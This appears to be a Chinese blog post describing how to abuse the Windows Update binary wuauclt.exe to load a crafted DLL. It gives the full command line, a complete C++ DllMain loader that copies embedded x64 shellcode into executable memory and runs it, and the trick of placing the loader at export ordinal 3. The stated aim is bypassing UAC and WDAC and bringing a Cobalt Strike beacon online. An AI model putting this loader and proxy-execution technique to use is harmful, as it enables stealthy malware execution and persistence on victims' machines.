需要从一篇文章《Windows Update被发现可滥用于执行恶意程序》 说起,援引外媒 Bleeping Computer 报道,MDSec 研究人员 David Middlehurst 发现,攻击者可以通过使用以下命令行选项使用wuauclt从任意特制的 DLL 加载,从而在 Win 10 系统上执行恶意代码。
wuauclt.exe /UpdateDeploymentProvider [path_to_dll] /RunHandlerComServer
该技巧绕过 Windows 用户帐户控制(UAC)或Windows Defender应用程序控制(WDAC),可用于在已经受到威胁的系统上获得持久性。之所以能够发现,是因为他发现已经有黑客利用这个漏洞执行攻击行为。
能绕过UAC和Defender,需要构建特制的 DLL ,看图片时加载CS的shellcode成功了,开始尝试写dll加载shellcode。
一开始想法是wuauclt.exe会调用dll,那么直接在dllmain里加载shellcode,首先使用从网上搜索的方法去加载shellcode:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[193] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
"\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e\x4c\x8d"
"\x85\x05\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
"\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x48\x65\x6c"
"\x6c\x6f\x2c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x2c"
"\x00";
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
wuauclt.exe 是一个windows更新的白名单程序,是x64的,所以需要写一个x64的dll做测试,shellcode也需要生成x64的,功能是弹出窗口,但是失败了,把CreateThread换成函数直接执行时可以的,但是换了上线的shellcode就又失败了。
查阅资料后,dllmain里有很多限制:
Windows 核心编程中的原话是这样说的:
DLL 必须使用DllMain函数来对自己进行初始化。DllMain函数执行的时候,同一个地址空间的中的其他DLL可能还没有初始化,也就是没有调用其他DLL 的DllMain函数,所以我们应该尽量避免去使用从其他DLL中导入的函数。此外,还应该避免在DllMain中调用LoadLibrary(Ex)和FreeLibrary,因为这些函数可能会产生循环依赖。
介绍一下DllMain 函数:
BOOL WINAPI DllMain(
_In_ HANDLE hInstance,
_In_ ULONG fdwReason,
LPVOID Reserved
) //dll main 函数
{
printf("%p\r\n", hInstance);
switch (fdwReason)
{
case DLL_PROCESS_DETACH: //0
{
break;
}
case DLL_PROCESS_ATTACH: //1
{
break;
}
case DLL_THREAD_ATTACH: //2
{
break;
}
case DLL_THREAD_DETACH: //3
{
break;
}
}
return TRUE;
}
DLL_PROCESS_ATTACH 1
当系统第一次将一个DLL映射到进程的地址空间的时候,会调用DllMain函数,并在fdwReason中传入DLL_PROCESS_ATTACH。若在第一次映射之后,调用LoadLibrary来载入一个已经映射过的DLL后,操作系统只会递增该DLL的引用计数,并不会调用DllMain。
系统中的某个线程必须负责执行DllMian函数中的代码。创建新的线程的时候,系统会分配进程地址空间并将.exe文件的映像映射到进程的地址空间中。然后,系统将创建进程的主线程,并用这个主线程来调用每个DLL的DllMain函数,同时传入DLL_PROCESS_ATTACH。当所有的已经映射的DLL 都完成了DllMain的调用,那么系统就会让主线程取开始执行.exe的C/C++运行时的启动代码,然后执行.exe的入口点函数(main或 WinMain)。
DLL_PROCESS_DETACH 0
当系统将一个DLL从进程的地址空间中撤销映射时,会调用DllMain函数,并在fdwReason中传入DLL_PROCESS_DETACH。如果当DLL_PROCESS_ATTACH时,返回是False,那么将不会有DLL_PROCESS_DETACH的通知。
如果撤销映射的原因是因为进程要被终止,那么调用和ExitProcess函数的线程将负责执行DllMain函数。
如果撤销映射的原因是因为进程中的一个线程调用了FreeLibrary,那么发出调用的线程将执行DllMain函数中的代码。并在DllMian处理完DLL_PROCESS_DETACH通知之前,线程是不会返回的。
注意:
Dll可能会阻碍进程的终止。只有当每个Dll都处理完DLL_PROCESS_DETACH通知之后,操作系统才会终止进程。
如果进程终止是因为TerminateProcess,那么系统不会用DLL_PROCESS_DETACH来调用DllMian。
DLL_THREAD_ATTACH 2
当进程创建一个线程的时候,系统会检测当前映射到该进程地址空间中的所有DLL文件映像,并用DLL_THREAD_ATTACH来调用每个DLL的DllMain函数。新建线程负责执行所有的DLL的DllMain函数中的代码。只有当所有DLL都完成了对该通知的处理之后,系统才会让新线程开始执行它的线程代码。(这也就是出现线程死锁的问题所在)
新建线程只会去调用已经被映射到系统进程空间的DLL中的DllMain函数。也就是说,当一个DLL映射到进程地址空间的时候,已经存在的线程是不会调用该DLL的DlllMain函数的。
注意:
进程是不会让进程的主线程去调用DLL_THREAD_ATTACH值来调用DllMai函数的,在进程创建的时候,被映射到进程地址空间的任何DLL会收到DLL_PROCESS_ATTACH通知,而不是DLL_THREAD_ATTACH的通知。
DLL_THREAD_DETACH 3
当线程终止的首选方式就是让它的线程函数返回。这回使得系统调用ExitThread来终止线程。ExitThread告诉系统该线程想要终止,但系统不会立即终止,而会让这个线程用DLL_THREAD_DETACH来调用所有已经被映射DLL的DllMain函数。
注意:
DLL可能会妨碍线程的终止,只有当每个DLL都处理完DLL_THREAD_DETACH统治之后,系统才会真正的终止线程。
进程中的一个线程调用LoadLibrary来载入DLL这使得系统会用DLL_PROCESS_ATTACH来调用DLL的DllMain。当载入该DLL的线程退出的时候,会用DLL_THREAD_DETACH来调用DllMain函数。
在简单的了解DllMain的工作机制后,来分析一个为什么不能在DllMain中创建线程。
你先是想一下这样的情况:
这由于会将线程挂起等待的原因,会让在DllMain中创建线程会导致线程死锁的问题。所以不建议在dll里面创建线程,可能会导致死锁等一系列问题。于是想办法能不能在导出函数里操作。
从windbg上获取wuauclt的符号,可以发现通过/UpdateDeploymentProvider和/RunHandlerComServer参数来调用RunUpdateHandler
RunUpdateHandler内部功能就是调用dll的ord序号为3的函数
微软已经帮我们提供一个查看dll导出函数的命令,嵌在VS开发环境中,可以查看32位和64位的dll。具体使用方法如下:(例如查看d:a.dll的导出函数)
如果要重定向输出至b.txt文本文件,则命令格式如下:d:dumpbin /exports a.dll /out:b.txt
通过修改def文件可以定制导出函数的ord序号,在“深入浅出MFC”的第一章有提到,每个windows程序(.exe或者是.dll) 都需要一个模块定义文件,将 模块名称、程序段、数据段 的内存特性、模块堆(heap)大小、堆栈(stack)大小、所有callback函数名称等等登记下来。但在使用VC IDE开发程序的时候,不是每次都需要特别准备 .def 文件,因为新程序的 模块定义文件 的每个部分都有默认值。一下是一个典型的模块定义文件的实例:
NAME Generic
DESCRIPTION 'Generic Sample'
EXETYPE WINDOWS
STUB 'WINSTUB.EXE'
CODE PRELOAD DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
HEAPSIZE 4096
STACKSIZE 10240
EXPORTS MainWndProc @1
AboutBox @2
然后思路很清晰了,只需要把shellcode加载放在ord为3的函数,这样就会自动加载这个函数,最后成功上线。
https://blog.csdn.net/qq_42021840/article/details/105956819
https://www.cnblogs.com/findumars/p/6517562.html
https://blog.csdn.net/weixin_33800593/article/details/86336892
https://blog.csdn.net/weixin_44001905/article/details/104733600
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!